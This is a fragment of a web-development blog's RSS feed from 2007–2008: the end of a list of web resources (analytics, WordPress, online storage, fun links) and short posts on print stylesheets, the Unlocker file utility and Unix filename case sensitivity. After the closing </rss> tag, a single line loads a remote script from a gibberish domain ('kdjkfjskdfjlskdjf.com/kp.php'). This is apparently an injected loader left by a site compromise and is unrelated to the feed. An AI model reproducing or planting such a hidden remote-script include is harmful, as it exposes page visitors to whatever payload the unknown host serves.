<a  href="http://123promotion.co.uk/tools/googlebanned.php" onclick="javascript:pageTracker._trackPageview('/external/123promotion.co.uk/tools/googlebanned.php');" >Google Banned Tool</a></strong><br />
Quick way to find out whether your URL is in Google’s banned database</p>
<p><strong>92. 
<a  href="http://crazyegg.com" onclick="javascript:pageTracker._trackPageview('/external/crazyegg.com');" >Crazy Egg</a></strong><br />
Variety of products to see what people are doing on your site using a heatmap or just plain hard data. Pricing plans start with free accounts that let you track up to 5000 visits per month and four pages, up to Pro an offering for $99 per month that lets you track 250,000 visits per month.</p>
<p><strong>93. 
<a  href="http://sitescanga.com/" onclick="javascript:pageTracker._trackPageview('/external/sitescanga.com/');" >SiteScan</a></strong><br />
A free way to ensure that your website is configured properly for Google Analytics.</p>
<p><strong>94. 
<a  href="http://report.reinvigorate.net/snoop" onclick="javascript:pageTracker._trackPageview('/external/report.reinvigorate.net/snoop');" >Reinvigorate’s Snoop</a></strong><br />
Real Time Web Analytics &#8211; free for PC and Mac. Greater flexibility than Google Analytics</p>
<p><strong>95.
<a  href="http://www.popuri.us/" onclick="javascript:pageTracker._trackPageview('/external/www.popuri.us/');" > PopURI</a></strong><br />
At-a-glance link popularity of any site based on its ranking (Google PageRank, Alexa Rank, Technorati etc.), social bookmarks (del.icio.us, etc), subscribers (Bloglines, etc) and more</p>
<p><strong>96. 
<a  href="http://www.quantcast.com" onclick="javascript:pageTracker._trackPageview('/external/www.quantcast.com');" >Quantcast</a> </strong><br />
Demographics for your site</p>
<p><strong>97. 
<a  href="http://www.socialmeter.com/" onclick="javascript:pageTracker._trackPageview('/external/www.socialmeter.com/');" >Social Meter</a></strong><br />
Scans popular social websites to analyze your social popularity.</p>
<p><strong>98. 
<a  href="http://www.statcounter.com/" onclick="javascript:pageTracker._trackPageview('/external/www.statcounter.com/');" >StatCounter</a></strong><br />
Highly configurable hit counter and real-time detailed web stats. Useful for European Web sites.</p>
<p><strong>99. 
<a  href="http://getclicky.com/" onclick="javascript:pageTracker._trackPageview('/external/getclicky.com/');" >Clicky Web Analytics</a></strong><br />
Web analytics &#8211; nicely organised and oh so pretty.</p>
<h2><a name="WordPress"></a>WordPress</h2>
<p><strong>100. 
<a  href="http://www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/" onclick="javascript:pageTracker._trackPageview('/external/www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/');" >How to create a WordPress theme</a></strong><br />
A 16 part series on how to build a WordPress theme from whoa to go</p>
<p><strong>101. 
<a  href="http://www.mattcutts.com/blog/highlight-author-comments-wordpress/" onclick="javascript:pageTracker._trackPageview('/external/www.mattcutts.com/blog/highlight-author-comments-wordpress/');" >Highlight Author Comments</a></strong><br />
Matt Cutts shows you how to change the color of your own comments so they stand out. For WordPress</p>
<p><strong>102. 
<a  href="http://www.smashingmagazine.com/2008/01/08/100-excellent-free-high-quality-wordpress-themes/" onclick="javascript:pageTracker._trackPageview('/external/www.smashingmagazine.com/2008/01/08/100-excellent-free-high-quality-wordpress-themes/');" >100 High Quality and Free WordPress Themes</a></strong><br />
Smashing Magazine has downloaded, installed, and tested hundreds of themes; these are their top 100 picks. Whether you are after design inspiration or coding solutions, this is the place to start</p>
<h2><a name="OnlineStorage"></a>Online Storage</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/storage.jpg" alt="Storage" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/53537358@N00/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/53537358@N00/');" >Kevin</a></em></p>
<p><strong>103. 
<a  href="http://www.box.net/" onclick="javascript:pageTracker._trackPageview('/external/www.box.net/');" >Box</a></strong><br />
Up to 1GB free storage but monthly bandwidth restricted to 10GB, file size restricted to 10MB</p>
<p><strong>104. 
<a  href="http://www.xdrive.co/" onclick="javascript:pageTracker._trackPageview('/external/www.xdrive.co/');" >Xdrive</a></strong><br />
Up to 5GB free storage. AOL sign-up required.</p>
<p><strong>105. 
<a  href="http://www.humyo.com/" onclick="javascript:pageTracker._trackPageview('/external/www.humyo.com/');" >Humyo</a></strong><br />
Up to 30 GB [25 GB media (phots/music/videos) and 5 GB non-media files]. BUT files are deleted if no login on the account within 90 days.</p>
<p><strong>106. 
<a  href="http://www.orbitfiles.com/" onclick="javascript:pageTracker._trackPageview('/external/www.orbitfiles.com/');" >Orbitfiles.com</a></strong><br />
Up to 6GB free storage, but monthly bandwidth restricted to 20 GB, file size restricted to 100 MB.</p>
<p><strong>107. 
<a  href="http://www.gigasize.com/" onclick="javascript:pageTracker._trackPageview('/external/www.gigasize.com/');" >GigaSize</a></strong><br />
Unlimited storage, but file size is limited to 600 MB, and files are deleted after 45 days. Unspecified download limits apply. Awful ads!</p>
<p><strong>108. 
<a  href="http://dropboks.com/" onclick="javascript:pageTracker._trackPageview('/external/dropboks.com/');" >DropBoks</a></strong><br />
Up to 1GB free storage, but file size is limited to 50MB.</p>
<p><strong>109. 
<a  href="http://www.getgspace.com/" onclick="javascript:pageTracker._trackPageview('/external/www.getgspace.com/');" >Get Gspace</a></strong><br />
Use Google&#8217;s GMail 2 GB storage as your own private online storage with this Firefox extension.</p>
<p><strong>110. 
<a  href="http://www.wordpress.com/" onclick="javascript:pageTracker._trackPageview('/external/www.wordpress.com/');" >WordPress.com</a></strong><br />
Want another 3GB of free online storage? Why not make a private blog and use the space for your files!</p>
<h2><a name="Miscellaneous"></a>Miscellaneous</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/funstuff.jpg" alt="Fun Stuff" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/robinhutton/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/robinhutton/');" >Robin Hutton</a> </em></p>
<p><strong>111. 
<a  href="http://map-o-net.com/" onclick="javascript:pageTracker._trackPageview('/external/map-o-net.com/');" >Map-o-net</a></strong><br />
Shows you where you lie in the structure of IP addresses</p>
<p><strong>112. 
<a  href="http://xona.com/domainhacks/" onclick="javascript:pageTracker._trackPageview('/external/xona.com/domainhacks/');" >Domain Hacks</a></strong><br />
Helps you find domains which are the combination of unusual TLD, directories and subdomains. For instance, http://l.id can be registered (from Indonesia)</p>
<p><strong>113. 
<a  href="http://scratch.mit.edu/" onclick="javascript:pageTracker._trackPageview('/external/scratch.mit.edu/');" >Scratch – programming for kids</a></strong><br />
Want your little person taking over the family web development business? Let them play with Scratch. Developed by MIT</p>
<p><strong>114. 
<a  href="http://www.internetworldstats.com/stats.htm" onclick="javascript:pageTracker._trackPageview('/external/www.internetworldstats.com/stats.htm');" >Internet World Stats</a></strong><br />
Comprehensive statistics about the Internet and Web</p>
<p><strong>115. 
<a  href="http://feedjournal.com/" onclick="javascript:pageTracker._trackPageview('/external/feedjournal.com/');" >Feed Journal</a></strong><br />
The next generation newspaper, FeedJournal turns your RSS feeds into a newspaper formatted PDF so you can print it out and read it anywhere &#8211; free</p>
<h2>Useful Sites</h2>
<p><strong>116. 
<a  href="http://mintywhite.com/" onclick="javascript:pageTracker._trackPageview('/external/mintywhite.com/');" >Windows Guides</a></strong></p>
<h2><a name="FunStuff"></a>Fun Stuff</h2>
<p>You&#8217;ve made it this far &#8211; so a little silliness for your viewing pleasure &#8211; enjoy!</p>
<p><strong>117. 
<a  href="http://www.youtube.com/watch?v=dsU3B0W3TMs" onclick="javascript:pageTracker._trackPageview('/external/www.youtube.com/watch');" >Music using ONLY sounds from Windows XP and 98</a></strong>! (approx. 2 mins)</p>
<p><strong>118. 
<a  href="http://www.youtube.com/watch?v=yg7Xh0m_Oco" onclick="javascript:pageTracker._trackPageview('/external/www.youtube.com/watch');" >Mac Parody</a></strong> (approx. 3 mins)</p>
<p><strong>119. 
<a  href="http://www.zefrank.com/punc/" onclick="javascript:pageTracker._trackPageview('/external/www.zefrank.com/punc/');" >Ze Frank&#8217;s Punctuation Substitution</a></strong> (approx. 2 mins)</p>
<p><strong>120. 
<a  href="http://www.youtube.com/watch?v=oI2xK6zbaoI" onclick="javascript:pageTracker._trackPageview('/external/www.youtube.com/watch');" >Wes Borg-Internet Help Desk</a></strong> Live (approx. 6 mins)</p>
<p><strong>121. 
<a  href="http://technet.microsoft.com/en-us/sysinternals/bb897558.aspx" onclick="javascript:pageTracker._trackPageview('/external/technet.microsoft.com/en-us/sysinternals/bb897558.aspx');" >BlueScreen of Death Screen Saver v3.2</a></strong></p>
<p>I&#8217;d love to see this list grow over time; get rid of defunct listings and add new and useful ones as I come across them, so if you know of any that should have been included (or if you think some are really awful) please let me know, and I&#8217;ll keep editing. With your help, I think this could be a great resource for tons of folk!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog-well.com/2008/03/04/100-resources-for-web-developers/feed/</wfw:commentRss>
		<slash:comments>290</slash:comments>
		</item>
		<item>
		<title>Using Stylesheets to Print Differently</title>
		<link>http://blog-well.com/2007/09/22/using-stylesheets-to-print-differently/</link>
		<comments>http://blog-well.com/2007/09/22/using-stylesheets-to-print-differently/#comments</comments>
		<pubDate>Sun, 23 Sep 2007 00:44:14 +0000</pubDate>
		<dc:creator>Mad</dc:creator>
				<category><![CDATA[Dev Stuff]]></category>

		<guid isPermaLink="false">http://blog-well.com/2007/09/22/using-stylesheets-to-print-differently/</guid>
		<description><![CDATA[
Stylesheets are used to control the appearance of HTML pages, can also be used to allow you to change the appearance of a page when it is printed.
Why is this useful?  If, for example, you have a navigation panel on the left hand side of your page, you can hide this panel when you print, [...]]]></description>
			<content:encoded><![CDATA[<p>
<a target="_blank"  href="http://en.wikipedia.org/wiki/Style_sheet_%28web_development%29" onclick="javascript:pageTracker._trackPageview('/external/en.wikipedia.org/wiki/Style_sheet_%28web_development%29');" >Stylesheets</a> are used to control the appearance of HTML pages, can also be used to allow you to change the appearance of a page when it is printed.</p>
<p>Why is this useful?  If, for example, you have a navigation panel on the left hand side of your page, you can hide this panel when you print, so the printout contains the useful information only and takes advantage of the full page width, which generally means it can be printed on fewer pages.</p>
<p>Normally stylesheets are used within a HTML page as follows:</p>
<pre>  &lt;link type='text/css' rel='Stylesheet' href='sytles.css'&gt;</pre>
<p align="left">To use different stylesheets for the screen and printer, you use the 
<a target="_blank"  href="http://www.w3.org/TR/REC-CSS2/media.html" onclick="javascript:pageTracker._trackPageview('/external/www.w3.org/TR/REC-CSS2/media.html');" >media attribute</a> as follows:</p>
<pre>  &lt;link type='text/css' rel='Stylesheet' media='screen' href='screen.css'&gt;
  &lt;link type='text/css' rel='Stylesheet' media='print' href='printer.css'&gt;</pre>
<p>In this case, you would need to duplicate all the common styles in both files, so if there are a lot of common styles, you may want to have smaller stylesheets which just contain those styles which you want to be different on the screen to how they appear on the printer.  So, a better strategy would be:</p>
<pre>  &lt;link type='text/css' rel='Stylesheet' href='common.css'&gt;
  &lt;link type='text/css' rel='Stylesheet' media='screen' href='screen.css'&gt;
  &lt;link type='text/css' rel='Stylesheet' media='print' href='printer.css'&gt;</pre>
<p>The  
<a  href="http://www.w3.org/TR/REC-CSS2/media.html#media-types" onclick="javascript:pageTracker._trackPageview('/external/www.w3.org/TR/REC-CSS2/media.html?media-types');" >different media types</a> include handheld, projection, braille, and more, so you if your web pages appear in different devices, you can customize the appearance to better suite the device.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog-well.com/2007/09/22/using-stylesheets-to-print-differently/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Find out why you can&#8217;t delete a file on Windows</title>
		<link>http://blog-well.com/2007/09/21/find-out-why-you-cant-delete-a-file-on-windows/</link>
		<comments>http://blog-well.com/2007/09/21/find-out-why-you-cant-delete-a-file-on-windows/#comments</comments>
		<pubDate>Fri, 21 Sep 2007 08:29:40 +0000</pubDate>
		<dc:creator>Mad</dc:creator>
				<category><![CDATA[Dev Stuff]]></category>

		<guid isPermaLink="false">http://blog-well.com/2007/09/21/find-out-why-you-cant-delete-a-file-on-windows/</guid>
		<description><![CDATA[
Cedrick Collomb has a handy utility called 
Unlocker which will tell you which processes are preventing you from deleting a file or folder.
If a delete fails, you get the generic access denied error message from Windows; however, if you have Unlocker installed, then it will popup and display the processes which have a lock on [...]]]></description>
			<content:encoded><![CDATA[<p>
<a target="_blank"  href="http://ccollomb.free.fr" onclick="javascript:pageTracker._trackPageview('/external/ccollomb.free.fr');" >Cedrick Collomb</a> has a handy utility called 
<a target="_blank"  href="http://ccollomb.free.fr/unlocker" onclick="javascript:pageTracker._trackPageview('/external/ccollomb.free.fr/unlocker');" >Unlocker</a> which will tell you which processes are preventing you from deleting a file or folder.</p>
<p>If a delete fails, you get the generic access denied error message from Windows; however, if you have Unlocker installed, then it will popup and display the processes which have a lock on the file or folder.</p>
<p>For example, attempting to delete C:\Windows\System32\user32.dll (yes this would be a dumb thing to do) will display the following list of processes (which will be almost everything running on Windows):</p>
<p><img src="http://blog-well.com/wp-content/uploads/2007/09/unlocker.jpg" alt="Unlocker displaying list of processes which have a lock on C:WindowsSystem32user32.dll" /></p>
<p>Unlocker allows you to force the file to be unlocked, or even kill the processes; however, I prefer to find out which processes are preventing the deletion and closing them myself.</p>
<p>One common issue, is that you have an editor active, but no files currently being edited, and you can&#8217;t delete the folder which contained files you just recently edited.  The editor&#8217;s current directory is the one you want to delete, so Unlocker will show the editor process in its list.  So you know to exit the editor so you can delete the folder.  An alternative is to open a file from a different folder within the editor, so the current directory changes to something other than the folder you want to delete (or ones of its children).</p>
<p>You can run Unlocker on a file before you attempt to delete it.</p>
<p>It would be nice to have a Close button within Unlocker, which would politely ask the application to close, much the same way you would select Close from the system menu when you right click on the system tray&#8217;s entry for the application.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog-well.com/2007/09/21/find-out-why-you-cant-delete-a-file-on-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Case Against Unix</title>
		<link>http://blog-well.com/2007/09/06/casing-should-only-be-important-in-sentences/</link>
		<comments>http://blog-well.com/2007/09/06/casing-should-only-be-important-in-sentences/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 05:14:36 +0000</pubDate>
		<dc:creator>Mad</dc:creator>
				<category><![CDATA[Dev Stuff]]></category>

		<guid isPermaLink="false">http://blog-well.com/2007/09/06/casing-should-only-be-important-in-sentences/</guid>
		<description><![CDATA[One thing which will keep Unix desktops from the masses is the fact the Unix file systems are case sensitive.
Why would anyone need readme.htm, Readme.htm, README.htm, ReadMe.htm, ReAdMe.htm, readme.HTM etc to be unique files within the same folder?
And if a Web site is hosted on a UNIX box, you get a whole lot of contradictions.
For [...]]]></description>
			<content:encoded><![CDATA[<p>One thing which will keep Unix desktops from the masses is the fact the Unix file systems are case sensitive.</p>
<p>Why would anyone need readme.htm, Readme.htm, README.htm, ReadMe.htm, ReAdMe.htm, readme.HTM etc to be unique files within the same folder?</p>
<p>And if a Web site is hosted on a UNIX box, you get a whole lot of contradictions.</p>
<p>For example, 
<a  href="http://www.werelocate.com/index.html" onclick="javascript:pageTracker._trackPageview('/external/www.werelocate.com/index.html');" >http://www.werelocate.com/index.html</a> is valid, but 
<a  href="http://www.werelocate.com/Index.html" onclick="javascript:pageTracker._trackPageview('/external/www.werelocate.com/Index.html');" >http://www.werelocate.com/Index.html</a> is not (capital I in Index), since the file &#8220;Index.html&#8221; does not exist, only index.html does.  Now 
<a  href="http://www.werelocate.Com/index.html" onclick="javascript:pageTracker._trackPageview('/external/www.werelocate.Com/index.html');" >http://www.werelocate.Com/index.html</a> is valid, since domain names are not case sensitive thankfully (the C in com is a capital).  Good luck explaining the difference to grandpa!</p>
<p>Whether it was by design, intentionally or otherwise, thankfully good old DOS just didn&#8217;t care.  No matter which way you said readme.htm, it would match whatever casing was present.</p>
<p>I just got burnt by a Unix box hosting a web site which dynamically created script to load a javascript file.  The same files work on Windows Server, but failed on Unix.  All due to casing.  Arrrrrrr.</p>
<p>Casing should only be important in sentences!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog-well.com/2007/09/06/casing-should-only-be-important-in-sentences/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>